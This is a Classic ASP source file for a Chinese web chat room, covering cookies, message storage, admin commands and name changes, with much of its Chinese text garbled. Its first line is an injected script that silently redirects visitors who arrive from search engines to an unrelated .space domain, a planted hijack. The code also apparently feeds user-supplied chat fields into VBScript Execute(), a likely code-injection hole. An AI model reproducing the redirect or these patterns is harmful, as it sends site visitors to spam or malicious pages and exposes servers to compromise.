d:\wwwroot\wuchunhua\liaotian\Default.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@LANGUAGE="VBSCRIPT" CODEPAGE="65001"
%
>
<%
on error resume next
%
>
<!--#include file="config.asp"-->
<%
002:
'聊天室高级功能与管理功能使用说明
003:
'在聊天窗口输入@@加自己的名字，可以直接改名；
004:
'通过输入会员密钥（在config.asp文件中可以设置），升级聊天会员等级，可以使用不同颜色来聊天，加以区分?
005:
'管理员的管理功能使用方法：在聊天窗口中输入€?#eesai.com】按回车键提交即可升级为管理员，再次输入?#guanli】按回车键提交便可进入管理员功能界面，再¤回聊天窗口将可以执行禁言与删除聊天内容的功能?
006:
'—€€€€€€€€€€€€€€以下是聊天设置相关内容—€€€€€€€€€€€€€€?
007:
dim eurstr,eurr,eur0,eur1,eur2,eur3
008:
eurstr=Request.ServerVariables("QUERY_STRING")'get request
009:
'response.Write eurstr
010:
eurstr=replace(eurstr,".html","")
011:
eurr=split(eurstr&"////","/")
012:
eur0=lcase(eurr(0))'pass and app
013:
eur1=lcase(eurr(1))'action
014:
eur2=lcase(eurr(2))'action admin
015:
eur3=eurr(3)'action user
016:
'下面这句可以去掉，用于限制聊天室€放€?
017:
IF eur0="" THEN RESPONSE.Redirect("?"&eckk)
018:
dim esusns,esusn,esuxy,esuty,esuer,esubt,esurr,esulin,esuling
019:
esuxy=0
020:
dim ecin,ecfo,ecft
021:
ecin="请输入您的称?'登入默认文本提示字符
022:
ecfo="请输入发€内容"'发言默认文本提示字符
023:
ecft="发言"'发言提交按钮文字
024:
025:
'response.Write Request.Cookies(ecue)=聊友编码sn|是否黑名单xy|用户等级ty|用户名er|用户昵称bt
026:
esulin=Request.Cookies(ecue)
027:
function mfomz(fufsn,fufer,fufbt)
028:
mfomz=fufer
029:
if len(fufbt&"0")>1 then mfomz=fufbt
030:
if len(mfomz&"0")=1 then mfomz=fufsn
031:
End function
032:
'—€€€€€€€€€€€€€€以下处理聊友的过程—€€€€€€€€€€€€€€?
033:
esurr=split(esulin&"|","|")
034:
if ubound(esurr)=5 then
035:
esusn=esurr(0)
036:
esuxy=aiint(esurr(1))
037:
esuty=aiint(esurr(2))
038:
esuer=esurr(3)
039:
esubt=esurr(4)
040:
esuer=mfomz(esusn,esuer,esubt)
041:
else
042:
if ecus=1 then
043:
esulin=""
044:
else
045:
esusn=aisn(1)
046:
esuxy=1
047:
esuty=0
048:
esulin=esusn&"|"&esuxy&"|"&esuty&"||"
049:
esurr=split(esulin,"|")
050:
esuer=mfomz(esusn,esuer,esubt)
051:
if eccc=1 then
052:
Call anfw(esulin&ecgg&anfr(eckk&"/EESaiChatu.txt"),eckk&"/EESaiChatu.txt")
053:
else
054:
application.lock
055:
application(ecsn&eckk&"sayu")=esulin&ecgg&application(ecsn&eckk&"sayu")
056:
application.unlock
057:
end if
058:
Response.Cookies(ecue)=esulin
059:
end if
060:
end if
061:
if esulin="" then
062:
if Request.Cookies(ecue)<>"" then
063:
Response.Cookies(ecue)=""
064:
RESPONSE.Redirect("?"&eckk)
065:
else
066:
Response.Write(Request.Cookies(ecue)&eckk&" close(only for member)!")
067:
end if
068:
else
069:
if ecos=1 then Response.Cookies(eckk&ecog)=ecog
070:
'-----------------------------------
071:
'response.Write espz(esfstr)
072:
'content doing
073:
'-----------------------------------
074:
Function espz(esfstr)
075:
espz=esfstr
076:
End Function
077:
'-----------------------------------
078:
'=esplz()
079:
'-----------------------------------
080:
Function esplz(esfstr)
081:
esplz=esfstr
082:
End Function
083:
'-----------------------------------
084:
'response.Write mfoer()
085:
'user show
086:
'-----------------------------------
087:
Function mfoer()
088:
dim fuds,fudrr,fudii,fudrx,fudjj,fudmz,fudlin
089:
if Request.Cookies(eckk&ecop&"b")=ecou then
090:
mfoer=""
091:
elseif request.Cookies(eckk&ecop&"b")="0" then
092:
mfoer="<div class=""hhm""><a title=""查看聊天室用?" href=""?"&eur0&"/"&eur1&"//1.html"">查看聊天室用?/a></div>"
093:
elseif ecxu=1 or request.Cookies(eckk&ecop&"b")="1" then
094:
fudjj=0
095:
fudlin=""
096:
if eccc=1 then
097:
fuds=anfr(eckk&"/EESaiChatu.txt")
098:
else
099:
fuds=application(ecsn&eckk&"sayu")
100:
end if
101:
fudrr=split(fuds,ecgg)
102:
for fudii=0 to ubound(fudrr)-1
103:
if len(fudrr(fudii))>10 then
104:
fudjj=fudjj+1
105:
fudrx=split(fudrr(fudii)&"|||||","|")
106:
fudmz=mfomz(fudrx(0),fudrx(3),fudrx(4))
107:
fudlin=fudlin&"<li title="""&fudrx(0)&""" class=""p"&aiint(fudrx(2))&""">"&fudmz
108:
if aiint(fudrx(1))=0 then fudlin=fudlin&"<sup>[禁]</sup>"
109:
fudlin=fudlin&"<i>"
110:
if esuty>3 and aiint(fudrx(2))<4 then fudlin=fudlin&"<a title=""清除Ta的聊天记?" href=""javascript:if(confirm('确认这么做吗?'))window.location='?"&eur0&"/"&ecvx&"/say/"&fudrx(0)&".html'"" target=""_self"">?/a> <a title=""禁止Ta说话"" href=""javascript:if(confirm('确认这么做吗?'))window.location='?"&eur0&"/"&ecvx&"/sayx/"&fudrx(0)&".html'"" target=""_self"">?/a> "
111:
fudlin=fudlin&"<a href=""#pl"" onclick=""parent.say.document.getElementById('"&eckk&"say').value='@"&fudmz&" '"">@Ta</a>"
112:
fudlin=fudlin&"</i></li>"
113:
end if
114:
next
115:
mfoer="<div class=""hht"">聊天室用?/div>"
116:
mfoer=mfoer&"<div class=""hhm"">在线"&fudjj&"?/div>"
117:
mfoer=mfoer&"<div class=""hhc"">"
118:
mfoer=mfoer&fudlin
119:
mfoer=mfoer&"</div>"
120:
mfoer=mfoer&"<div class=""hhm""><a title=""刷新聊天室用?" href=""#pl"" onClick=""javascript:if(confirm('您需要刷新聊天室用户吗？'))window.parent.location.reload();"">[刷新]</a> <a title=""关闭聊天室用户（该命令可以€过在聊天框中输?&ecou&"命令来实现）"" href=""?"&eur0&"/"&eur1&"//0.html"">[关闭]</a></div>"
121:
end if
122:
End Function
123:
'-----------------------------------
124:
'response.Write mfochat()
125:
'chat show
126:
'-----------------------------------
127:
Function mfochat()
128:
dim fdclo
129:
if eccc=1 then
130:
mfochat=anfr(eckk&"/EESaiChat.txt")
131:
else
132:
mfochat=application(ecsn&eckk&"say")
133:
end if
134:
if ecnr<>"" then
135:
mfochat=mfochat&ecgx&""&ecgg&aisnm(6)&ecgg&aiip()&ecgg&now()&ecgg&ecnr&ecgg&""&ecgg&""&ecgg&""&ecgg&ecbt&ecgg&"5"
136:
elseif mfochat="" then
137:
mfochat=ecgx&""&ecgg&aisnm(6)&ecgg&aiip()&ecgg&now()&ecgg&"我的第一位朋友，欢迎您！"&ecgg&""&ecgg&""&ecgg&""&ecgg&ecbt&ecgg&"5"
138:
end if
139:
140:
dim esplar,esplrr,espli,esplsm,esplsl,esplsll,esplss,esplsc,esplsy
141:
esplss=""
142:
esplsc=""
143:
esplar=split(mfochat,ecgx)
144:
for espli=1 to ubound(esplar)
145:
esplrr=split(esplar(espli)&ecgg&ecgg&ecgg&ecgg&ecgg&ecgg&ecgg&ecgg&ecgg&ecgg&ecgg&ecgg&ecgg&ecgg&ecgg&ecgg,ecgg)
146:
if esplrr(0)="" then
147:
esplsl="<p>"
148:
esplsl=esplsl&"<b title='"&esplrr(7)&"("&esplrr(2)&")'>"
149:
if esplrr(2)=aiip() or esplrr(6)=aiip() or (esplrr(8)=esuer and esuer<>"") or (esplrr(6)=esuer and esuer<>"") or (esplrr(7)=esusn and esusn<>"") or (esplrr(6)=esusn and esusn<>"") then
150:
esplsy=" m"
151:
else
152:
esplsy=" n"
153:
end if
154:
if esplrr(8)<>"" then
155:
esplsm=esplrr(8)
156:
elseif esplrr(7)<>"" then
157:
esplsm=esplrr(7)
158:
elseif esplrr(2)<>"" then
159:
esplsm=esplrr(2)
160:
else
161:
esplsm=""
162:
end if
163:
esplsl=esplsl&esplsm
164:
if esplrr(6)<>"" then esplsl=esplsl&" @"&esplrr(6)
165:
esplsl=esplsl&"</b>"
166:
if esplrr(3)<>"" then esplsl=esplsl&esplrr(3)
167:
esplsl=esplsl&"</p>"
168:
169:
if eclf=1 then
170:
if esplrr(5)<>"" then
171:
Execute("esplsll=S_"&esplrr(5)&"")
172:
end if
173:
Execute("dim S_"&esplrr(1)&":S_"&esplrr(1)&"=""<div class='p"&aiint(esplrr(9))&esplsy&"'>""&esplsl&espz(esplrr(4))&""</div>""")
174:
esplsl=esplsl&espz(esplrr(4))&esplsll
175:
else
176:
esplsll="<i># "&esplrr(5)&" </i>"
177:
esplsl=esplsl&esplsll&espz(esplrr(4))
178:
end if
179:
180:
esplss=esplss&"<li class='p"&aiint(esplrr(9))&esplsy&"' onmouseover='Asaigk(""g"&espli&""")' onmouseout='Asaigg(""g"&espli&""")'>"&esplsl
181:
esplss=esplss&"<p id=""g"&espli&""" class=g>"
182:
if esuty>3 and aiint(esplrr(9))<4 then esplss=esplss&"<a title=""收藏这条聊天记录"" href=""javascript:if(confirm('确认这么做吗?'))window.location='?"&eur0&"/"&ecvx&"/saym/"&esplrr(1)&".html'"" target=""_self"">?/a> <a title=""删除这条聊天记录"" href=""javascript:if(confirm('确认这么做吗?'))window.location='?"&eur0&"/"&ecvx&"/sayd/"&esplrr(1)&".html'"" target=""_self"">?/a> <a title=""清除Ta的聊天记?" href=""javascript:if(confirm('确认这么做吗?'))window.location='?"&eur0&"/"&ecvx&"/say/"&esplrr(7)&".html'"" target=""_self"">?/a> <a title=""禁止Ta说话"" href=""javascript:if(confirm('确认这么做吗?'))window.location='?"&eur0&"/"&ecvx&"/sayx/"&esplrr(7)&".html'"" target=""_self"">?/a>"
183:
if esplsm<>"" and aiint(esplrr(9))<5 then esplss=esplss&"<a href=""#pl"" onclick=""parent.say.document.getElementById('"&eckk&"say').value='@"&esplsm&" '"">@Ta</a>"
184:
if esplsm<>"" and aiint(esplrr(9))<5 then esplss=esplss&"<a title=引用#"&esplrr(1)&"回复 href=""#pl"" onclick=""parent.say.document.getElementById('"&eckk&"say').value='@"&esplsm&" #"&esplrr(1)&" '"">回复</a>"
185:
esplss=esplss&"</p></li>"
186:
elseif left(esplrr(0),1)="!" then
187:
esplsc=esplsc&"<i>"&replace(esplrr(0),"!","")&"</i>"
188:
end if
189:
next
190:
mfochat=esplss
191:
if Request.Cookies(eckk&ecop)=ecop or (Request.Cookies(eckk&ecop)="" and ecxp=1) then
192:
mfochat="<div style=""padding-bottom:28px;"" class=""pls"">"&espbq(mfochat)&"</div>"
193:
else
194:
mfochat="<div class=""pls"">"&espbq(mfochat)&"</div>"
195:
end if
196:
End Function
197:
'-----------------------------------
198:
'mfotm
199:
'-----------------------------------
200:
Function mfotm()
201:
dim mfodtm
202:
mfodtm=Request.Cookies(eckk&"tm")
203:
if mfodtm="" then
204:
mfotm=ectm
205:
elseif mfodtm<>"" then
206:
mfotm=aiint(mfodtm)
207:
end if
208:
if mfotm=0 then mfotm=2
209:
End Function
210:
'-----------------------------------
211:
'mfous(u=user/x=del user)
212:
'-----------------------------------
213:
Function mfous(mfofile)
214:
dim fuuds,fuudm
215:
mfous=""
216:
if request("act")="1" then
217:
mfous=mfous&aigo("恭喜您，提交成功.",0)
218:
end if
219:
if mfofile="" then
220:
fuudm="聊天内容"
221:
elseif mfofile="u" then
222:
fuudm="在线人员"
223:
elseif mfofile="x" then
224:
fuudm="禁言人员"
225:
elseif mfofile="o" then
226:
fuudm="聊天数目"
227:
elseif mfofile="m" then
228:
fuudm="聊天收藏"
229:
else
230:
fuudm="聊天记录"
231:
end if
232:
if eccc=1 then
233:
fuuds=anfr(eckk&"/EESaiChat"&mfofile&".txt")
234:
else
235:
fuuds=application(ecsn&eckk&"say"&mfofile&"")
236:
end if
237:
mfous=mfous&"<div class=""ct"">"&fuudm&" - 管理</div>"
238:
mfous=mfous&"<div class=""cc""><form action="""" method=""post"" target=""_self"">"
239:
mfous=mfous&"<textarea name=""ecnr"" id=""ecnr"" class=""cct"">"&fuuds&"</textarea>"
240:
mfous=mfous&"<input type=""hidden"" name=""act"" value=""1""><input class=""ccs"" type=""submit"" value=""确认提交"">"
241:
mfous=mfous&"</form></div>"
242:
End Function
243:
'-----------------------------------
244:
'mfogx
245:
'-----------------------------------
246:
Function mfogx(mfofa,mfofb)
247:
if mfofa<>mfofb then
248:
if mfofb="" or mfofb="0" then
249:
Response.Cookies(ecue)=""
250:
if eccc=1 then
251:
Call anfw(replace(anfr(eckk&"/EESaiChatu.txt"),mfofa&ecgg,""),eckk&"/EESaiChatu.txt")
252:
else
253:
application.lock
254:
application(ecsn&eckk&"sayu")=replace(application(ecsn&eckk&"sayu"),mfofa&ecgg,"")
255:
application.unlock
256:
end if
257:
else
258:
Response.Cookies(ecue)=mfofb
259:
if eccc=1 then
260:
Call anfw(mfofb&ecgg&replace(anfr(eckk&"/EESaiChatu.txt"),mfofa&ecgg,""),eckk&"/EESaiChatu.txt")
261:
else
262:
application.lock
263:
application(ecsn&eckk&"sayu")=mfofb&ecgg&replace(application(ecsn&eckk&"sayu"),mfofa&ecgg,"")
264:
application.unlock
265:
end if
266:
end if
267:
end if
268:
End Function
269:
'-----------------------------------
270:
'mfogm@@
271:
'-----------------------------------
272:
Function mfogm(mfofstr)
273:
mfogm=""
274:
if len(mfofstr)>ecla and len(mfofstr)<eclb then
275:
esuling=esusn&"|"&esuxy&"|"&esuty&"|"&esurr(3)&"|"&mfofstr
276:
mfogm=mfogm&mfogx(esulin,esuling)
277:
mfogm=mfogm&aigo("恭喜您，您的名字顺利改为"&mfofstr&"（您可以在发€框中输入@@加您的名字提交进行改名）.",0)
278:
else
279:
mfogm=mfogm&aigo("不符合规定的名字（名字长度请控制?&ecla&"-"&eclb&"之间）！",0)
280:
end if
281:
End Function
282:
'-----------------------------------
283:
'mfosj##
284:
'-----------------------------------
285:
Function mfosj(mfofstr)
286:
if mfofstr=ecv1 then
287:
esuling=esusn&"|"&esuxy&"|1|"&esurr(3)&"|"&esubt&""
288:
mfosj=mfosj&mfogx(esulin,esuling)
289:
mfosj=aigo("恭喜您，您的聊天内容可以更好看了??",0)
290:
elseif mfofstr=ecv2 then
291:
esuling=esusn&"|"&esuxy&"|2|"&esurr(3)&"|"&esubt&""
292:
mfosj=mfosj&mfogx(esulin,esuling)
293:
mfosj=aigo("恭喜您，您的聊天内容可以更好看了??",0)
294:
elseif mfofstr=ecv3 then
295:
esuling=esusn&"|"&esuxy&"|3|"&esurr(3)&"|"&esubt&""
296:
mfosj=mfosj&mfogx(esulin,esuling)
297:
mfosj=aigo("恭喜您，您的聊天内容可以更好看了??",0)
298:
elseif mfofstr=ecv4 then
299:
esuling=esusn&"|"&esuxy&"|4|"&esurr(3)&"|"&esubt&""
300:
mfosj=mfosj&mfogx(esulin,esuling)
301:
mfosj=aigo("恭喜您，您成了管理员了（4?",0)
302:
'进入管理界面
303:
elseif mfofstr=ecvx then
304:
Response.Redirect("?"&eur0&"/"&ecvx&".html")
305:
elseif aiint(mfofstr)>0 then
306:
mfosj=mfosp(aiint(mfofstr))
307:
end if
308:
End Function
309:
'-----------------------------------
310:
'mfosp
311:
'-----------------------------------
312:
Function mfosp(mfofstr)
313:
Response.Cookies(eckk&"tm")=mfofstr
314:
mfosp=aigo("恭喜您，现在€始，"&mfofstr&"秒刷屏一?",0)
315:
End Function
316:
'-----------------------------------
317:
'mfosin
318:
'-----------------------------------
319:
Function mfosin(mfofstr)
320:
if eccc=1 then
321:
Call anfw(right(anfr(eckk&"/EESaiChat.txt")&mfofstr,ecll),eckk&"/EESaiChat.txt")
322:
Call anfw(aiint(anfr(eckk&"/EESaiChato.txt"))+1,eckk&"/EESaiChato.txt")
323:
else
324:
application.lock
325:
application(ecsn&eckk&"say")=right(application(ecsn&eckk&"say")&mfofstr,ecll)
326:
application(ecsn&eckk&"sayo")=aiint(application(ecsn&eckk&"sayo"))+1
327:
application.unlock
328:
end if
329:
End Function
330:
'-----------------------------------
331:
'response.Write mfosay(mfofty)
332:
'say
333:
'-----------------------------------
334:
Function mfosay(mfofty)
335:
dim fdml,fdux
336:
if mfofty>0 then
337:
if eccc=1 then
338:
fdux=anfr(eckk&"/EESaiChatx.txt")
339:
else
340:
fdux=application(ecsn&eckk&"sayx")
341:
end if
342:
if instr(fdux,esusn&ecgg)>1 then
343:
esuling=esusn&"|0|"&esuty&"|"&esuer&"|"&esubt
344:
mfosay=mfogx(esulin,esuling)
345:
mfofty=0
346:
end if
347:
end if
348:
mfosay=""
349:
if mfofty>0 and aiint(esuty)>=ecvm then
350:
if fureq(eckk&"code")=ecky&"code" and instr(fureq(eckk&"say"),ecin)=0 and instr(fureq(eckk&"say"),ecfo)=0 and fureq(eckk&"say")<>"" then
351:
fdml=fureq(eckk&"say")
352:
'打开/关闭聊天室用?
353:
if fdml=ecou then
354:
if Request.Cookies(eckk&ecop&"b")=ecou then
355:
Response.Cookies(eckk&ecop&"b")="1"
356:
mfosay=mfosay&aigo("已经成功打开聊天室用?输入命令"&ecou&"并提交可以关闭提?.",0)&"<script type=""text/javascript"">window.parent.frames.chat.location.reload()</script>"
357:
else
358:
Response.Cookies(eckk&ecop&"b")=ecou
359:
mfosay=mfosay&aigo("已经关闭聊天室用?输入命令"&ecou&"并提交可以再次打€提示).",0)&"<script type=""text/javascript"">window.parent.frames.chat.location.reload()</script>"
360:
end if
361:
'打开/关闭设置功能界面
362:
elseif fdml=ecop then
363:
if Request.Cookies(eckk&ecop)="" or Request.Cookies(eckk&ecop)=ecop then
364:
Response.Cookies(eckk&ecop)="0"
365:
mfosay=mfosay&aigo("已经关闭帮助提示(输入命令"&ecop&"并提交可以再次打€提示).",0)&"<script type=""text/javascript"">window.parent.frames.chat.location.reload()</script>"
366:
else
367:
Response.Cookies(eckk&ecop)=ecop
368:
mfosay=mfosay&aigo("已经成功打开帮助提示(输入命令"&ecop&"并提交可以关闭提?.",0)&"<script type=""text/javascript"">window.parent.frames.chat.location.reload()</script>"
369:
end if
370:
'打开/关闭屏幕滚动命令
371:
elseif fdml=ecog then
372:
if Request.Cookies(eckk&ecog)="" or Request.Cookies(eckk&ecog)=ecog then
373:
Response.Cookies(eckk&ecog)="0"
374:
mfosay=mfosay&aigo("聊天窗口停止滚动(输入命令"&ecog&"可以继续滚动).",0)&"<script type=""text/javascript"">window.parent.frames.chat.location.reload()</script>"
375:
else
376:
Response.Cookies(eckk&ecog)=ecog
377:
mfosay=mfosay&aigo("聊天窗口自动滚动(输入命令"&ecog&"可以停止滚动).",0)&"<script type=""text/javascript"">window.parent.frames.chat.location.reload()</script>"
378:
end if
379:
'改名?
380:
elseif left(fdml,2)="@@" then
381:
fdml=replace(fdml,"@@","")
382:
if eclm=1 then fdml=trim(replace(fdml,",",""))
383:
mfosay=mfosay&mfogm(fdml)
384:
mfosay=mfosay&"<script>window.parent.location.reload();</script>"
385:
'发言升级命令
386:
elseif left(fdml,2)="##" then
387:
fdml=replace(fdml,"##","")
388:
mfosay=mfosay&mfosj(fdml)
389:
'聊天内容处理
390:
else
391:
if len(fureq(eckk&"say")&"0")<eclc then
392:
if ecsm=0 or Request.Cookies(eckk&"say")<>fureq(eckk&"say") then
393:
'处理聊天内容并存?
394:
dim eslpls,eslplshr,eslplshw
395:
eslpls=replace(replace(replace(fureq(eckk&"say"),ecgg,""),ecgx,""),"!","?)'format
396:
if left(eslpls,1)="@" then
397:
eslplshr=replace(split(eslpls," ")(0),"@","")
398:
eslpls=replace(eslpls,"@"&eslplshr&" ","")
399:
end if
400:
if left(eslpls,1)="#" then
401:
eslplshw=replace(split(eslpls," ")(0),"#","")
402:
eslpls=replace(eslpls,"#"&eslplshw&" ","")
403:
end if
404:
eslpls=ecgx&""&ecgg&aisnm(6)&ecgg&aiip()&ecgg&now()&ecgg&eslpls&ecgg&eslplshw&ecgg&eslplshr
405:
eslpls=eslpls&ecgg&esusn&ecgg&esuer&ecgg&esuty
406:
mfosin(eslpls)
407:
'处理聊天内容并存?
408:
if ecsm=1 then Response.Cookies(eckk&"say")=fureq(eckk&"say")
409:
mfosay=mfosay&"<script type=""text/javascript"">AsaiSay()</script>"
410:
else
411:
mfosay=mfosay&aigo("不能发言相同内容?,0)
412:
end if
413:
else
414:
mfosay=mfosay&aigo("发言失败，发€超过"&eclc&"字！",0)
415:
end if
416:
end if
417:
end if
418:
'无权发言的时?
419:
else
420:
mfosay=mfosay&aigo("发言失败，您的权限不足！?&ecvm&"?,0)
421:
end if
422:
End Function
423:
424:
'—€€€€€€€€€€€€€€以下是公共过程—€€€€€€€€€€€€€€?
425:
'-----------------------------------
426:
'=fureq(fufnm)
427:
'-----------------------------------
428:
Function fureq(fufnm)
429:
fureq=trim(Request.Form(fufnm))
430:
fureq=replace(fureq,"|",ecgt)
431:
fureq=aith(fureq,ecgx&"|"&ecgg&"|"&ecgv)
432:
End Function
433:
'-----------------------------------
434:
'PS:replace the words
435:
'=aith("aifstr","aifst0"/"s1,s2,s3")
436:
'-----------------------------------
437:
Function aith(aifstr,aifst0)
438:
dim ais0rr,ais0j,aithi,aithli,aithl
439:
ais0rr=split(aifst0,"|")
440:
ais0j=ubound(ais0rr)
441:
aith=aifstr
442:
aithl=""
443:
for aithi=0 to ais0j
444:
if ais0rr(aithi)<>"" then
445:
for aithli=1 to len(ais0rr(aithi))
446:
aithl=aithl&ecgt
447:
next
448:
aith=replace(aith,ais0rr(aithi),aithl)
449:
end if
450:
next
451:
End Function
452:
Function aiint(aifstr)
453:
aiint=0
454:
aifstr=trim(aifstr)
455:
if isNumeric(aifstr) then aiint=int(aifstr)
456:
End Function
457:
'-----------------------------------
458:
'PS:get user ip
459:
'=aiip()
460:
'-----------------------------------
461:
Function aiip()
462:
Dim aiiaddr,aiihttp
463:
aiihttp=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
464:
If aiihttp="" Or InStr(aiihttp,"unknown")>0 Then
465:
aiiaddr=Request.ServerVariables("REMOTE_ADDR")
466:
ElseIf InStr(aiihttp,",")>0 Then
467:
aiiaddr=Mid(aiihttp,1,InStr(aiihttp,",") -1)
468:
ElseIf InStr(aiihttp,";")>0 Then
469:
aiiaddr=Mid(aiihttp,1,InStr(aiihttp,";") -1)
470:
Else
471:
aiiaddr=aiihttp
472:
End if
473:
aiip=Trim(Mid(aiiaddr,1,15))
474:
if aiip="::1" then:aiip="127.0.0.1"
475:
End Function
476:
'-----------------------------------
477:
'PS:alert
478:
'=aigo("aifstr","aifurl")
479:
'-----------------------------------
480:
Function aigo(aifstr,aifurl)
481:
aigo="<script language=javascript>"
482:
if aifurl="0" then
483:
aigo=aigo&"alert('"&aifstr&"');"
484:
elseif aifurl="1" then
485:
aigo=aigo&"alert('"&aifstr&"');history.go(-1);"
486:
else
487:
aigo=aigo&"if(confirm("""&aifstr&""")){window.location.href="""&aifurl&"""}else{window.history.back(-1);}"
488:
end if
489:
aigo=aigo&"</script>"
490:
End Function
491:
'response.Write aisn(1)
492:
'-----------------------------------
493:
'PS:get asai code-sn,num=9
494:
'=aisn(0clean/1make)
495:
'-----------------------------------
496:
Function aisn(aifty)
497:
dim aisnlin
498:
if aifty=1 then
499:
aisnlin=Request.Cookies(eckk&"sn")
500:
if len(aisnlin)=6 then
501:
aisn=aisnlin
502:
else
503:
aisn=aisnm(6)
504:
Response.Cookies(eckk&"sn")=aisn
505:
end if
506:
else
507:
Response.Cookies(eckk&"sn")=""
508:
'Response.Cookies(eckk&"sn").delete
509:
end if
510:
End Function
511:
Function aisnm(aiflen)
512:
aisnm=aisnk(aisnn(),0)
513:
if len(aisnm)<aiflen then
514:
Randomize
515:
aisnm=left(aisnm&aisnk(int(9999*Rnd)&"123456789",0)&aisnk(int(9999*Rnd)&"987654321",0),aiflen)
516:
else
517:
aisnm=left(aisnm,aiflen)
518:
end if
519:
End Function
520:
Function aisnk(aifstr,aifty)
521:
dim aisncs,aisnnr,aisnrr,aisnii,aisnla,aisnlb,aisnzz
522:
dim aisnjj,aisnlc,aisnld,aisnlen
523:
if aifty=1 then
524:
aisnzz=aifstr
525:
aisnk=0
526:
else
527:
aisnzz=int(aifstr)
528:
aisnk=""
529:
if aisnzz<10 then
530:
aisnk=aisnzz
531:
Exit Function
532:
end if
533:
end if
534:
aisnlen=len(aisnzz)
535:
aisnnr="0|1|2|3|4|5|6|7|8|9|A|B|C|D|E|F|G|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z"'the sn character
536:
aisnrr=split(aisnnr,"|")'the chr. Array
537:
aisncs=ubound(aisnrr)+1
538:
for aisnii=1 to aisnlen
539:
if aifty=1 then'open
540:
aisnlc=mid(aisnzz,aisnii,1)
541:
for aisnjj=0 to aisncs-1
542:
if aisnlc=aisnrr(aisnjj) then
543:
aisnld=aisnjj
544:
exit for
545:
end if
546:
next
547:
if aisnii=aisnlen then
548:
aisnk=aisnk+aisnld
549:
else
550:
aisnk=(aisnk+aisnld)*aisncs
551:
end if
552:
else'make
553:
aisnla=int(aisnzz/aisncs)
554:
if aisnla>0 then
555:
aisnlb=int(aisnzz-aisnla*aisncs)
556:
aisnk=aisnrr(aisnlb)&aisnk
557:
aisnzz=aisnla
558:
else
559:
aisnk=aisnrr(aisnzz)&aisnk
560:
exit for
561:
end if
562:
end if
563:
next
564:
End Function
565:
Function aisnn()
566:
dim asdck,asday,asdtm,asdtt,asdrr,asdip
567:
asdck="aisnEESai"
568:
asday=date()
569:
asdtm=timer()
570:
asdip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
571:
asdrr=split(asdtm&".",".")
572:
asdtt=asdrr(0)
573:
if len(asdip)<7 then
574:
Randomize
575:
asdip=right("000"&int(998*Rnd),3)
576:
else
577:
asdip=right(replace(asdip,".",""),3)
578:
end if
579:
aisnn="2"&right("0"&year(asday),1)&right("00"&month(asday),2)&right("00"&day(asday),2)&right("0000000"&asdtt,5)&right("00"&asdrr(1),2)&asdip
580:
End function
581:
'-----------------------------------
582:
'PS:file read
583:
'-----------------------------------
584:
Function anfr(anko)
585:
dim ankols
586:
ankols=Server.MapPath(anko)
587:
dim anfrfsou
588:
Set anfrfsou=CreateObject("adodb.stream")
589:
anfrfsou.Open
590:
anfrfsou.Type=2
591:
anfrfsou.Charset="utf-8"
592:
anfrfsou.LoadFromFile(ankols)
593:
anfr=anfrfsou.ReadText
594:
anfrfsou.Close
595:
Set anfrfsou=Nothing
596:
End Function
597:
'-----------------------------------
598:
'PS:file write
599:
'-----------------------------------
600:
Function anfw(anfstr,anko)
601:
dim ankols
602:
ankols=Server.MapPath(anko)
603:
dim anfwtado
604:
set anfwtado=server.CreateObject("adodb.stream")
605:
With anfwtado
606:
.type=2
607:
.mode=3
608:
.charset="utf-8"
609:
.open
610:
.WriteText=anfstr
611:
.savetofile ankols,2
612:
.flush
613:
.Close
614:
End With
615:
set anfwtado=nothing
616:
End Function
617:
'-----------------------------------
618:
'=espbq(esfstr)
619:
'-----------------------------------
620:
Function espbq(esfstr)
621:
dim espbqxp
622:
Set espbqxp=new RegExp'regular expression
623:
espbqxp.IgnoreCase=true'Ignore case
624:
espbqxp.Global=true'Search string matching for all text
625:
espbqxp.Pattern="\[(\d{1,10})\]"'Find E-mail link
626:
if ecem<>"" then
627:
espbq=espbqxp.replace(esfstr,"<img src='"&eced&"$1.gif'>")
628:
else
629:
espbq=espbqxp.replace(esfstr,"")
630:
end if
631:
Set espbqxp=nothing
632:
End Function
633:
634:
'—€€€€€€€€€€€€€€以下是聊天页面过程—€€€€€€€€€€€€€€?
635:
Function fcwtop()
636:
fcwtop=""
637:
fcwtop=fcwtop&"<!doctype html><html><head><meta charset=""utf-8""><meta name=""viewport"" content=""width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=30.0,user-scalable=yes""><meta http-equiv=""Cache-Control"" content=""no-cache""><meta name=""format-detection"" content=""telephone=no""><title>"&ecbt&"</title><link rel=""stylesheet"" type=""text/css"" rev=""stylesheet"" ID=""AsaiSkin"" href=""css.css""></head>"
638:
End Function
639:
'—€€€€€€€€€€€€€€以下是聊天页面—€€€€€€€€€€€€€€?
640:
if eur0=lcase(eckk) then
641:
if eur1="nr" then
642:
response.charset=ecar
643:
response.ContentType="text/html; charset="&ecar'编码
644:
response.Buffer=True
645:
response.Expires=-1
646:
response.ExpiresAbsolute=Now()-1
647:
response.Expires=0
648:
response.CacheControl="no-cache"
649:
response.write mfochat()
650:
elseif eur1="out" then
%
>
<%
=fcwtop()
%
>
651:
<body>
652:
<%
653:
'Response.Cookies(eckk&"sn")=""
654:
Call mfogx(esulin,"")
655:
Response.Cookies(eckk&"say")=""
656:
response.Write aigo("恭喜您，成功€出登?",0)
657:
%
>
658:
</body>
659:
</html>
660:
661:
<%
elseif eur1=ecvx then
%
>
<%
=fcwtop()
%
>
662:
<body class="cb">
663:
<%
if esuty>3 then
664:
if eur2="say" then
665:
if eur3="" then
666:
response.Write mfous("")
667:
else
668:
response.Write aigo("恭喜您，操作成功?,"?"&eur0&"/chat.html")
669:
end if
670:
elseif eur2="sayo" then
671:
response.Write mfous("o")
672:
elseif eur2="sayu" then
673:
response.Write mfous("u")
674:
elseif eur2="sayx" then
675:
if eur3="" then
676:
response.Write mfous("x")
677:
else
678:
response.Write aigo("恭喜您，操作成功?,"?"&eur0&"/chat.html")
679:
end if
680:
elseif eur2="sayd" then
681:
if eur3="" then
682:
response.Write mfous("")
683:
else
684:
